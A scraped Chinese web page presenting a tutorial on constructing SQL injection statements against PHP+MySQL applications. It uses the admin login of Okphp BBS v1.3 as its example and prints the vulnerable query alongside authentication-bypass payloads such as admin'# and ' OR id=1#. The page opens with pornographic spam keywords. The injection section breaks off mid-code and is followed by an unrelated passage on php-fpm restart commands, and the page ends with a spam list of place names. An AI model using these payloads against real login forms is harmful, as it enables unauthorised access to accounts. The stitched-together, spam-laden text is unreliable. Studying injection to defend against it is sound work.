奶头挺立呻吟高潮av全片,成人试看120秒体验区,性欧美极品v,A片高潮抽搐揉捏奶头视频

php語(yǔ)言

php+mysql注射語(yǔ)句構(gòu)造

時(shí)間:2025-03-17 09:20:51 php語(yǔ)言 我要投稿

php+mysql注射語(yǔ)句構(gòu)造

  語(yǔ)句構(gòu)造好壞直接影響了編程的質(zhì)量,下面是百分網(wǎng)小編精心為大家整理的php+mysql注射語(yǔ)句構(gòu)造,希望對(duì)大家有幫助,更多內(nèi)容請(qǐng)關(guān)注應(yīng)屆畢業(yè)生網(wǎng)!

  一.前言:

  版本信息:Okphp BBS v1.3 開(kāi)源版

  下載地址:http://www.cncode.com/SoftView.asp?SoftID=1800

  由于PHP和MYSQL本身得原因,PHP+MYSQL的注射要比asp困難,尤其是注射時(shí)語(yǔ)句的構(gòu)造方面更是個(gè)難點(diǎn),本文主要是借對(duì)Okphp BBS v1.3一些文件得簡(jiǎn)單分析,來(lái)談?wù)刾hp+mysql注射語(yǔ)句構(gòu)造方式,希望本文對(duì)你有點(diǎn)幫助。

  聲明:文章所有提到的“漏洞”,都沒(méi)有經(jīng)過(guò)測(cè)試,可能根本不存在,其實(shí)有沒(méi)有漏洞并不重要,重要的是分析思路和語(yǔ)句構(gòu)造。

  二.“漏洞”分析:

  1.admin/login.php注射導(dǎo)致繞過(guò)身份驗(yàn)證漏洞:

  代碼:

  $conn=sql_connect($dbhost, $dbuser, $dbpswd, $dbname);

  $password = md5($password);

  $q = "select id,group_id from $user_table where username='$username' and password='$password'";

  $res = sql_query($q,$conn);

  $row = sql_fetch_row($res);

  $q = "select id,group_id from $user_table where username='$username' and password='$password'"中

  $username 和 $password 沒(méi)過(guò)濾, 很容易就繞過(guò)。

  對(duì)于select * from $user_table where username='$username' and password='$password'這樣的語(yǔ)句改造的方法有:

  構(gòu)造1(利用邏輯運(yùn)算):$username=' OR 'a'='a $password=' OR 'a'='a

  相當(dāng)于sql語(yǔ)句:

  select * from $user_table where username='' OR 'a'='a' and password='' OR 'a'='a'

  構(gòu)造2(利用mysql里的注釋語(yǔ)句# ,/* 把$password注釋掉):$username=admin'#(或admin'/*)

  即:

  select * from $user_table where username='admin'#' and password='$password'"

  相當(dāng)于:

  select * from $user_table where username='admin'

  在admin/login.php中$q語(yǔ)句中的$password在查詢(xún)前進(jìn)行了md5加密所以不可以用構(gòu)造1中的語(yǔ)句繞過(guò)。這里我們用構(gòu)造2:

  select id,group_id from $user_table where username='admin'#' and password='$password'"

  相當(dāng)于:

  select id,group_id from $user_table where username='admin'

  只要存在用戶(hù)名為admin的就成立,如果不知道用戶(hù)名,只知道對(duì)應(yīng)的id,

  我們就可以這樣構(gòu)造:$username=' OR id=1#

  相當(dāng)于:

  select id,group_id from $user_table where username='' OR id=1# and password='$password'(#后的被注釋掉)

  我們接著往下看代碼:

  if ($row[0]) {

  // If not admin or super moderator

  if ($username != "admin" && !eregi("(^|&)3($|&)",$row[1])) {

  $login = 0;

  }

  else {

  $login = 1;

  }

  }

  // Fail to login---------------

  if (!$login) {

  write_log("Moderator login","0","password wrong");

  echo "

  2.php 5.4中php-fpm 的重啟、終止操作命令:

  查看php運(yùn)行目錄命令:which php

  /usr/bin/php

  查看php-fpm進(jìn)程數(shù):

  ps aux | grep -c php-fpm

  查看運(yùn)行內(nèi)存

  /usr/bin/php -i|grep mem

  重啟php-fpm

  /etc/init.d/php-fpm restart

  在phpinfo()輸出內(nèi)容可以看到php相關(guān)配置。

  Loaded Configuration File /etc/php.ini

  ==============================

  首先要找到php-fpm.conf配置文件,查看pid的配置路徑(不是安裝路徑),然后把下面對(duì)應(yīng)的地方改掉才能正常執(zhí)行。

  [root@DO-SG-H1 ~]# ps aux | grep php-fpm

  root 11799 0.0 0.0 103248 880 pts/0 S+ 13:51 0:00 grep --color php-fpm

  root 11973 0.0 0.0 417748 964 ? Ss Jun01 0:20 php-fpm: master process (/etc/php-fpm.conf)

  cat /etc/php-fpm.conf

  看到

  pid = /var/run/php-fpm/php-fpm.pid

  php-fpm 啟動(dòng):

  /usr/local/php/sbin/php-fpm

  php-fpm 關(guān)閉:

  kill -INT `cat /var/run/php-fpm/php-fpm.pid`

  php-fpm 重啟:

  kill -USR2 `cat /var/run/php-fpm/php-fpm.pid`

  查看php-fpm進(jìn)程數(shù):

  ps aux | grep -c php-fpm

  =============================

  [root@DO-SG-H1 ~]# find / -name 'php-fpm' -type d

  /var/log/php-fpm

  /var/run/php-fpm

  用這個(gè)find命令查找出來(lái)的路徑是不對(duì)的

  which php

  /usr/bin/php

【php+mysql注射語(yǔ)句構(gòu)造】相關(guān)文章:

攻擊方法注射語(yǔ)句構(gòu)造php+mysql05-24

php+mysql實(shí)現(xiàn)無(wú)限分類(lèi)實(shí)例詳解07-23

php+mysql查詢(xún)優(yōu)化簡(jiǎn)單實(shí)例06-22

java如何構(gòu)造03-02

PHP類(lèi)與構(gòu)造函數(shù)07-01

皮膚的構(gòu)造及功能教案04-21

Java語(yǔ)言的構(gòu)造方法07-17

java應(yīng)該如何構(gòu)造06-25

php+mysql結(jié)合Ajax實(shí)現(xiàn)點(diǎn)贊功能完整實(shí)例07-20

主站蜘蛛池模板: 伊宁市| 城口县| 永善县| 大竹县| 三明市| 石河子市| 嵊州市| 砚山县| 冀州市| 禹州市| 耿马| 莫力| 潞西市| 会宁县| 西昌市| 二连浩特市| 柘城县| 关岭| 景德镇市| 吉水县| 临夏市| 阿合奇县| 灌南县| 高淳县| 韶山市| 马尔康县| 乳山市| 汉川市| 栾城县| 吴旗县| 成都市| 工布江达县| 晋中市| 灌云县| 九龙城区| 闻喜县| 涞源县| 威宁| 乐业县| 新邵县| 山阴县|